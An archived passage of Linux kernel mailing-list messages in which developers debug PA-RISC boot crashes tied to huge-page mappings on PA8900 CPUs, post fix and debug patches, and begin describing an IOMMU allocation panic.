Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (file01.intranet.prod.int.rdu2.redhat.com [10.11.5.7])
	by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id tAOGdqiI000666
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO);
	Tue, 24 Nov 2015 11:39:53 -0500
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (localhost [127.0.0.1])
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4) with ESMTP id tAOGdqIt020635;
	Tue, 24 Nov 2015 11:39:52 -0500
Original-Received: from localhost (mpatocka@localhost)
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4/Submit) with ESMTP id tAOGdpMW020570;
	Tue, 24 Nov 2015 11:39:51 -0500
X-Authentication-Warning: file01.intranet.prod.int.rdu2.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@file01.intranet.prod.int.rdu2.redhat.com
In-Reply-To: <5654892D.1030707@gmx.de>
User-Agent: Alpine 2.02 (LRH 1266 2009-07-14)
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26167 gmane.linux.kernel:2092843
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26167>



On Tue, 24 Nov 2015, Helge Deller wrote:

> > Hi
> > 
> > Since the kernel 4.4-rc2 I'm getting frequent boot failures on PA-RISC. 
> > When I revert this patchset, the crashes are gone.
> 
> > [    3.296666] CPU(s): 4 out of 4 PA8900 (Shortfin) at 1000.000000 MHz online
> 
> Hi Mikulas,
> 
> Yes, I've seen this as well.
> It affects only the PA8900 CPUs, while all PA8500-PA8700 machines seem to work fine.
> I do have a temporary 3-line patch to avoid the crashes which I'll push to my tree shortly.
> I'm still investigating why it only affects the PA8900 CPUs, but I assume
> it's related to the cache aliasing of those CPUs.
> I'll keep you updated.
> 
> Helge

The PA-RISC specification doesn't allow aliasing on non-equaivalent 
addresses. Can the kernel map a piece of kernel data to other virtual 
address? If yes, we can't use big pages to map kernel data.

Mikulas
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [GIT PULL] parisc huge page support for v4.4
Date: Tue, 24 Nov 2015 18:00:20 +0100
Lines: 82
Approved: news@gmane.org
Message-ID: <20151124170020.GA13198@p100.box>
References: <20151122115153.GA28471@p100.box>
 <alpine.LRH.2.02.1511241014280.9586@file01.intranet.prod.int.rdu2.redhat.com>
 <5654892D.1030707@gmx.de>
 <alpine.LRH.2.02.1511241136440.14442@file01.intranet.prod.int.rdu2.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1448384465 17733 80.91.229.3 (24 Nov 2015 17:01:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 24 Nov 2015 17:01:05 +0000 (UTC)
To: Mikulas Patocka <mpatocka@redhat.com>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Nov 24 18:00:57 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1a1GxV-0008UR-He
	for glk-linux-kernel-3@plane.gmane.org; Tue, 24 Nov 2015 18:00:49 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754248AbbKXRAk (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 24 Nov 2015 12:00:40 -0500
Original-Received: from mout.gmx.net ([212.227.15.15]:56652 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753695AbbKXRAh (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Tue, 24 Nov 2015 12:00:37 -0500
Original-Received: from p100.box ([92.203.1.112]) by mail.gmx.com (mrgmx002) with
 ESMTPSA (Nemesis) id 0MSv6D-1ZrkJI2OP7-00RtpD; Tue, 24 Nov 2015 18:00:25
 +0100
Content-Disposition: inline
In-Reply-To: <alpine.LRH.2.02.1511241136440.14442@file01.intranet.prod.int.rdu2.redhat.com>
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:9qn/BaXuIsN4it4mo/lq+oP+JOabxdCQa6R2qyZRsDUurZH7+hF
 c6nB+aEmOPCeNvuPKvraiyy3wPdP4as1Vpj7Tjqnv2kaQbUI7XOS40+SPQHPzk+R2oT/Dlq
 BHUG3eDerG6BEm8vxsFUq2A6kL9h4d1hKZjCRO1ErnTYqSTQEkapFbwLnk0e52Z/pf7zzap
 sHSeIgfL0dgxqbqkXYJTw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:4zoQbb//K0s=:nPEk0J9Ov9y9XBltgUtcA3
 yHMH3YS2L5ejL9QU+oYAFzkNj+lD+VNHQguXz+woiCxkUdBbWZbR8jhTGxumgyW3bgBZjUBO8
 tw4W9Cpa5Z6K4G2wfCnN43gXZzyUMKCS6P2EMb/qk+jJbwYLNk6trDd3YgQvEjQx0AFypDpgJ
 2qA8/TYuB/RvIdiM8dZ6QpN5ONPl2nvcZGEipdSPjOw41AIAEIZIvRkIPL5RkpRpZMRInC+f/
 e7AYOUwIR7tteNY6LFMEYfHyN6u94wSW7sMkmrfQqlETgFmva4ViV7eDZBstZ0xAxgzl99HEm
 hXID6DxZL2E+yI2Fs65K1PAJL88RvMd5R/AqGt3ipbAIITIUXqvWnwPwknbqhLLbV1CHklduQ
 C6jH4Un3k4RbKZ3gq0V1DqUNaUZ8Xn3Bqqji2ZwVvS4tSzz99Rmw+w5SRk5i+AZCJKw7ZVi4d
 ToztxMa6SxRmrcGMtijUbOHuppuXERyl3PApPMlpDrrIjrUwxaPtTA8UaF1YcLanok6j3Nzu+
 c0kyMOF7WlkJWYJzFdabORknah00P6VSQYkhpB6TRFIGu0+p+jJ6XLi8HH7ygOFetDIeTTqkj
 pJKjMo4cTskSWVIPEh/59cJtc/e7tEOcXSzT5sR8KJh7ycoBFPeXW8dE6wQ9itnjRLfMT/2qN
 3sVEnqDyeO3NOiFGdYFqPtauUpFMHjk9hna7PfW2egJ1qdp71dki1Zb2vUB4d8aEqOpvR6DEJ
 3UfgZQHxNDmLdaxP+1D5l8oa4t3L7R6esiHscP2fYAXsFMibC0rBWbIj7FU=
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2092865 gmane.linux.ports.parisc:26168
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2092865>

* Mikulas Patocka <mpatocka@redhat.com>:
> 
> 
> On Tue, 24 Nov 2015, Helge Deller wrote:
> 
> > > Hi
> > > 
> > > Since the kernel 4.4-rc2 I'm getting frequent boot failures on PA-RISC. 
> > > When I revert this patchset, the crashes are gone.
> > 
> > > [    3.296666] CPU(s): 4 out of 4 PA8900 (Shortfin) at 1000.000000 MHz online
> > 
> > Hi Mikulas,
> > 
> > Yes, I've seen this as well.
> > It affects only the PA8900 CPUs, while all PA8500-PA8700 machines seem to work fine.
> > I do have a temporary 3-line patch to avoid the crashes which I'll push to my tree shortly.
> > I'm still investigating why it only affects the PA8900 CPUs, but I assume
> > it's related to the cache aliasing of those CPUs.
> > I'll keep you updated.
> > 
> > Helge
> 
> The PA-RISC specification doesn't allow aliasing on non-equaivalent 
> addresses. Can the kernel map a piece of kernel data to other virtual 
> address? If yes, we can't use big pages to map kernel data.

Can you please try the two patches below?
The first one disables mapping kernel text/data on huge pages on
PA8800/PA8900 CPUs. Patch works for me on my Mako PA8800.

Independend of my huge page patch the second patch disables the tlb
flush optimization we added earlier. It seems calling flush_tlb_all()
doesn't reliably flushes tlbs on all CPUs so it's better to fall back to
the loop implementation.

Helge


diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
index 1b366c4..958b7f36 100644
--- a/arch/parisc/mm/init.c
+++ b/arch/parisc/mm/init.c
@@ -475,19 +475,22 @@ static void __init map_pages(unsigned long start_vaddr,
 					pte =  __mk_pte(address, pgprot);
 				else if (parisc_text_address(vaddr)) {
 					pte = __mk_pte(address, PAGE_KERNEL_EXEC);
-					if (address >= ro_start && address < kernel_end)
+					if (address >= ro_start && address < kernel_end
+					    && !parisc_requires_coherency())
 						pte = pte_mkhuge(pte);
 				}
 				else
 #if defined(CONFIG_PARISC_PAGE_SIZE_4KB)
 				if (address >= ro_start && address < ro_end) {
 					pte = __mk_pte(address, PAGE_KERNEL_EXEC);
-					pte = pte_mkhuge(pte);
+					if (!parisc_requires_coherency())
+						pte = pte_mkhuge(pte);
 				} else
 #endif
 				{
 					pte = __mk_pte(address, pgprot);
-					if (address >= ro_start && address < kernel_end)
+					if (address >= ro_start && address < kernel_end
+					    && !parisc_requires_coherency())
 						pte = pte_mkhuge(pte);
 				}
 
diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index cda6dbb..80ced95 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -445,7 +445,7 @@ int __flush_tlb_range(unsigned long sid, unsigned long start,
 	unsigned long flags, size;
 
 	size = (end - start);
-	if (size >= parisc_tlb_flush_threshold) {
+	if (0 && size >= parisc_tlb_flush_threshold) {
 		flush_tlb_all();
 		return 1;
 	}

From - Thu Nov 08 21:38:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [GIT PULL] parisc huge page support for v4.4
Date: Tue, 24 Nov 2015 13:43:50 -0500 (EST)
Lines: 50
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.02.1511241343200.30334@file01.intranet.prod.int.rdu2.redhat.com>
References: <20151122115153.GA28471@p100.box> <alpine.LRH.2.02.1511241014280.9586@file01.intranet.prod.int.rdu2.redhat.com> <5654892D.1030707@gmx.de> <alpine.LRH.2.02.1511241136440.14442@file01.intranet.prod.int.rdu2.redhat.com>
 <20151124170020.GA13198@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1448390640 25236 80.91.229.3 (24 Nov 2015 18:44:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 24 Nov 2015 18:44:00 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Nov 24 19:43:58 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1a1IZJ-0002jt-6c
	for glpp-linux-parisc@plane.gmane.org; Tue, 24 Nov 2015 19:43:57 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754976AbbKXSn5 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 24 Nov 2015 13:43:57 -0500
Original-Received: from mx1.redhat.com ([209.132.183.28]:52377 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754970AbbKXSny (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 24 Nov 2015 13:43:54 -0500
Original-Received: from int-mx14.intmail.prod.int.phx2.redhat.com (int-mx14.intmail.prod.int.phx2.redhat.com [10.5.11.27])
	by mx1.redhat.com (Postfix) with ESMTPS id 4176BAB1;
	Tue, 24 Nov 2015 18:43:54 +0000 (UTC)
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (file01.intranet.prod.int.rdu2.redhat.com [10.11.5.7])
	by int-mx14.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id tAOIhr8v022717
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO);
	Tue, 24 Nov 2015 13:43:53 -0500
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (localhost [127.0.0.1])
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4) with ESMTP id tAOIhqx5031063;
	Tue, 24 Nov 2015 13:43:52 -0500
Original-Received: from localhost (mpatocka@localhost)
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4/Submit) with ESMTP id tAOIho4N031059;
	Tue, 24 Nov 2015 13:43:51 -0500
X-Authentication-Warning: file01.intranet.prod.int.rdu2.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@file01.intranet.prod.int.rdu2.redhat.com
In-Reply-To: <20151124170020.GA13198@p100.box>
User-Agent: Alpine 2.02 (LRH 1266 2009-07-14)
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.27
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26169 gmane.linux.kernel:2092927
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26169>



On Tue, 24 Nov 2015, Helge Deller wrote:

> * Mikulas Patocka <mpatocka@redhat.com>:
> > 
> > 
> > On Tue, 24 Nov 2015, Helge Deller wrote:
> > 
> > > > Hi
> > > > 
> > > > Since the kernel 4.4-rc2 I'm getting frequent boot failures on PA-RISC. 
> > > > When I revert this patchset, the crashes are gone.
> > > 
> > > > [    3.296666] CPU(s): 4 out of 4 PA8900 (Shortfin) at 1000.000000 MHz online
> > > 
> > > Hi Mikulas,
> > > 
> > > Yes, I've seen this as well.
> > > It affects only the PA8900 CPUs, while all PA8500-PA8700 machines seem to work fine.
> > > I do have a temporary 3-line patch to avoid the crashes which I'll push to my tree shortly.
> > > I'm still investigating why it only affects the PA8900 CPUs, but I assume
> > > it's related to the cache aliasing of those CPUs.
> > > I'll keep you updated.
> > > 
> > > Helge
> > 
> > The PA-RISC specification doesn't allow aliasing on non-equaivalent 
> > addresses. Can the kernel map a piece of kernel data to other virtual 
> > address? If yes, we can't use big pages to map kernel data.
> 
> Can you please try the two patches below?
> The first one disables mapping kernel text/data on huge pages on
> PA8800/PA8900 CPUs. Patch works for me on my Mako PA8800.
> 
> Independend of my huge page patch the second patch disables the tlb
> flush optimization we added earlier. It seems calling flush_tlb_all()
> doesn't reliably flushes tlbs on all CPUs so it's better to fall back to
> the loop implementation.
> 
> Helge

The kernel with these patches works fine so far.

Mikulas
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Show more debug info about space registers and TLB
 configuration
Date: Wed, 25 Nov 2015 22:43:45 +0100
Lines: 73
Approved: news@gmane.org
Message-ID: <20151125214345.GA1123@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1448487847 22264 80.91.229.3 (25 Nov 2015 21:44:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 25 Nov 2015 21:44:07 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Nov 25 22:43:57 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1a1hr0-0000RS-Lr
	for glpp-linux-parisc@plane.gmane.org; Wed, 25 Nov 2015 22:43:55 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751904AbbKYVn4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 25 Nov 2015 16:43:56 -0500
Original-Received: from mout.gmx.net ([212.227.15.15]:56245 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751139AbbKYVnz (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 25 Nov 2015 16:43:55 -0500
Original-Received: from p100.box ([92.203.50.92]) by mail.gmx.com (mrgmx001) with
 ESMTPSA (Nemesis) id 0MRGTX-1Ztl7r2hv5-00UbLu; Wed, 25 Nov 2015 22:43:48
 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:Q3OoX4dRgbzcPMXqPvivQ0yWJ3ahEN796WvwyYHQ+19WW4a3tEk
 Mj95aeoIYuwESxL5kEwBEfxvUdSzFTGKJL00W0unfOJUHO3c7VvbKjlyLXvJU0XnBosG4mr
 ONe80xdWMQ5pFzeNgddSuvSPdFnjw/AiR6YL/nf7tlGYGj4s2FydF7mh/Lokv5OEV3Dmz08
 fY6EkllmdsYRmj+GlmvBA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:MNyMGQ6JIIg=:ya47dhkILyl6jlKd2KuTj/
 sd1diZyD7uuopc7CLfKrqPlSpr/QkXnRyh7jCBGSUonsQ5JCgoDbS80B13dzdz6muYxtFoa+1
 yn/usx6954DtQ/SKFCnmS0dHsToHChv3RvmHjYNahenK4dhU6cyokI0Eb6sGLFxY3UpOVgT6d
 Khda8zxlmeTl+JiBwADnfjf44/ZQHdohHkhdNqMRXxsPkWBU/zuA05Og3fArM4P37I1syBwd6
 0tAZplIw8y78IcScK3ipZmDfmdJ6LoXW2IuJnXCQvI7fnhkhZZRzK5vEsbR9QhMvDExnHr2KP
 7XuM1X22b81XQOH9XqSKFDU4drcSFAjkT+d5W/I9jKH2Yu7F6+WanwxUIPyh4xoYojA5BcM4v
 X+aLIaWN0lPvop5XusOEaLhdb/4J+eN6XGQgT98TwHhrmKveBoUpZR95F7JPphfbDWf3F5Bci
 V/wiT0uaJy1haXj+Nhr23NFlTrGh/OSKMJeuOhe69KSmCsqbB3BSqndnz4LEYKggTWB1ZXiu8
 +IFPWfgs2myL8ZfYlwxIN8tSBp8nmbgUGsKaA7LQC6+3K52THSOsScbLi86488O39WqlgG7pi
 0de1UwXz+FJDUmabesCA2SLE6x6pxydRBHUlGbFGhLtlS5bq164OMSz9rmKA4XnNLzxpxhIqF
 9kO+S9R9l7mdP3uvEs/HT5uIIjeXodeZ5+PySHKw+K74n8pCMp+WQCWGCmjQ7UlzQl65htzSe
 SXDgJ17+OjQ+JKlDv6wEPGBvSIfbr+KgY5OanGwDPSNNN9ejbLUMryJT33I=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26170
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26170>

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/pdc.h b/arch/parisc/include/asm/pdc.h
index 7eb616e..451906d 100644
--- a/arch/parisc/include/asm/pdc.h
+++ b/arch/parisc/include/asm/pdc.h
@@ -63,7 +63,7 @@ struct pdc_tlb_cf {		/* for PDC_CACHE (I/D-TLB's) */
 		tc_page : 1,	/* 0 = 2K page-size-machine, 1 = 4k page size */
 		tc_cst  : 3,	/* 0 = incoherent operations, else coherent operations */
 		tc_aid  : 5,	/* ITLB: width of access ids of processor (encoded!) */
-		tc_pad1 : 8;	/* ITLB: width of space-registers (encoded) */
+		tc_sr   : 8;	/* ITLB: width of space-registers (encoded) */
 };
 
 struct pdc_cache_info {		/* main-PDC_CACHE-structure (caches & TLB's) */
diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index cda6dbb..32bc0bf 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -172,6 +172,24 @@ parisc_cache_init(void)
 		cache_info.ic_count,
 		cache_info.ic_loop);
 
+	printk("IT  base 0x%lx stride 0x%lx count 0x%lx loop 0x%lx off_base 0x%lx off_stride 0x%lx off_count 0x%lx\n",
+		cache_info.it_sp_base,
+		cache_info.it_sp_stride,
+		cache_info.it_sp_count,
+		cache_info.it_loop,
+		cache_info.it_off_base,
+		cache_info.it_off_stride,
+		cache_info.it_off_count);
+
+	printk("DT  base 0x%lx stride 0x%lx count 0x%lx loop 0x%lx off_base 0x%lx off_stride 0x%lx off_count 0x%lx\n",
+		cache_info.dt_sp_base,
+		cache_info.dt_sp_stride,
+		cache_info.dt_sp_count,
+		cache_info.dt_loop,
+		cache_info.dt_off_base,
+		cache_info.dt_off_stride,
+		cache_info.dt_off_count);
+
 	printk("ic_conf = 0x%lx  alias %d blk %d line %d shift %d\n",
 		*(unsigned long *) (&cache_info.ic_conf),
 		cache_info.ic_conf.cc_alias,
@@ -184,19 +202,19 @@ parisc_cache_init(void)
 		cache_info.ic_conf.cc_cst,
 		cache_info.ic_conf.cc_hv);
 
-	printk("D-TLB conf: sh %d page %d cst %d aid %d pad1 %d\n",
+	printk("D-TLB conf: sh %d page %d cst %d aid %d sr %d\n",
 		cache_info.dt_conf.tc_sh,
 		cache_info.dt_conf.tc_page,
 		cache_info.dt_conf.tc_cst,
 		cache_info.dt_conf.tc_aid,
-		cache_info.dt_conf.tc_pad1);
+		cache_info.dt_conf.tc_sr);
 
-	printk("I-TLB conf: sh %d page %d cst %d aid %d pad1 %d\n",
+	printk("I-TLB conf: sh %d page %d cst %d aid %d sr %d\n",
 		cache_info.it_conf.tc_sh,
 		cache_info.it_conf.tc_page,
 		cache_info.it_conf.tc_cst,
 		cache_info.it_conf.tc_aid,
-		cache_info.it_conf.tc_pad1);
+		cache_info.it_conf.tc_sr);
 #endif
 
 	split_tlb = 0;
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.iommu,gmane.linux.kernel
Subject: [PATCH] parisc iommu: fix panic due to trying to allocate too large
 region
Date: Mon, 30 Nov 2015 14:47:46 -0500 (EST)
Lines: 112
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.02.1511301435240.31700@file01.intranet.prod.int.rdu2.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1448912877 19145 80.91.229.3 (30 Nov 2015 19:47:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 30 Nov 2015 19:47:57 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, iommu@lists.linux-foundation.org,
	linux-kernel@vger.kernel.org,
	John David Anglin <dave.anglin@bell.net>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 30 20:47:52 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1a3UQR-0002hd-3g
	for glpp-linux-parisc@plane.gmane.org; Mon, 30 Nov 2015 20:47:51 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753608AbbK3Tru (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 30 Nov 2015 14:47:50 -0500
Original-Received: from mx1.redhat.com ([209.132.183.28]:49909 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752715AbbK3Trt (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 30 Nov 2015 14:47:49 -0500
Original-Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26])
	by mx1.redhat.com (Postfix) with ESMTPS id 2C4FEDA7;
	Mon, 30 Nov 2015 19:47:49 +0000 (UTC)
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (file01.intranet.prod.int.rdu2.redhat.com [10.11.5.7])
	by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id tAUJlmJQ025830
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO);
	Mon, 30 Nov 2015 14:47:48 -0500
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (localhost [127.0.0.1])
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4) with ESMTP id tAUJlmMS025380;
	Mon, 30 Nov 2015 14:47:48 -0500
Original-Received: from localhost (mpatocka@localhost)
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4/Submit) with ESMTP id tAUJlkCB025331;
	Mon, 30 Nov 2015 14:47:47 -0500
X-Authentication-Warning: file01.intranet.prod.int.rdu2.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@file01.intranet.prod.int.rdu2.redhat.com
User-Agent: Alpine 2.02 (LRH 1266 2009-07-14)
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26171 gmane.linux.kernel.iommu:11574 gmane.linux.kernel:2096544
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26171>

When using the Promise TX2+ SATA controller on PA-RISC, the system often
crashes with kernel panic, for example just writing data with the dd
utility will make it crash.

Kernel panic - not syncing: drivers/parisc/sba_iommu.c: I/O MMU @ 000000000000a000 is out of mapping resources

CPU: 0 PID: 18442 Comm: mkspadfs Not tainted 4.4.0-rc2 #2
Backtrace:
 [<000000004021497c>] show_stack+0x14/0x20
 [<0000000040410bf0>] dump_stack+0x88/0x100
 [<000000004023978c>] panic+0x124/0x360
 [<0000000040452c18>] sba_alloc_range+0x698/0x6a0
 [<0000000040453150>] sba_map_sg+0x260/0x5b8
 [<000000000c18dbb4>] ata_qc_issue+0x264/0x4a8 [libata]
 [<000000000c19535c>] ata_scsi_translate+0xe4/0x220 [libata]
 [<000000000c19a93c>] ata_scsi_queuecmd+0xbc/0x320 [libata]
 [<0000000040499bbc>] scsi_dispatch_cmd+0xfc/0x130
 [<000000004049da34>] scsi_request_fn+0x6e4/0x970
 [<00000000403e95a8>] __blk_run_queue+0x40/0x60
 [<00000000403e9d8c>] blk_run_queue+0x3c/0x68
 [<000000004049a534>] scsi_run_queue+0x2a4/0x360
 [<000000004049be68>] scsi_end_request+0x1a8/0x238
 [<000000004049de84>] scsi_io_completion+0xfc/0x688
 [<0000000040493c74>] scsi_finish_command+0x17c/0x1d0

The cause of the crash is not exhaustion of the IOMMU space, there is
plenty of free pages. The function sba_alloc_range is called with size
0x11000, thus the pages_needed variable is 0x11. The function
sba_search_bitmap is called with bits_wanted 0x11 and boundary size is
0x10 (because dma_get_seg_boundary(dev) returns 0xffff).

The function sba_search_bitmap attempts to allocate 17 pages that must not
cross 16-page boundary - it can't satisfy this requirement
(iommu_is_span_boundary always returns true) and fails even if there are
many free entries in the IOMMU space.

How did it happen that we try to allocate 17 pages that don't cross
16-page boundary? The cause is in the function iommu_coalesce_chunks. This
function tries to coalesce adjacent entries in the scatterlist. The
function does several checks if it may coalesce one entry with the next,
one of those checks is this:

	if (startsg->length + dma_len > max_seg_size)
		break;

When it finishes coalescing adjacent entries, it allocates the mapping:

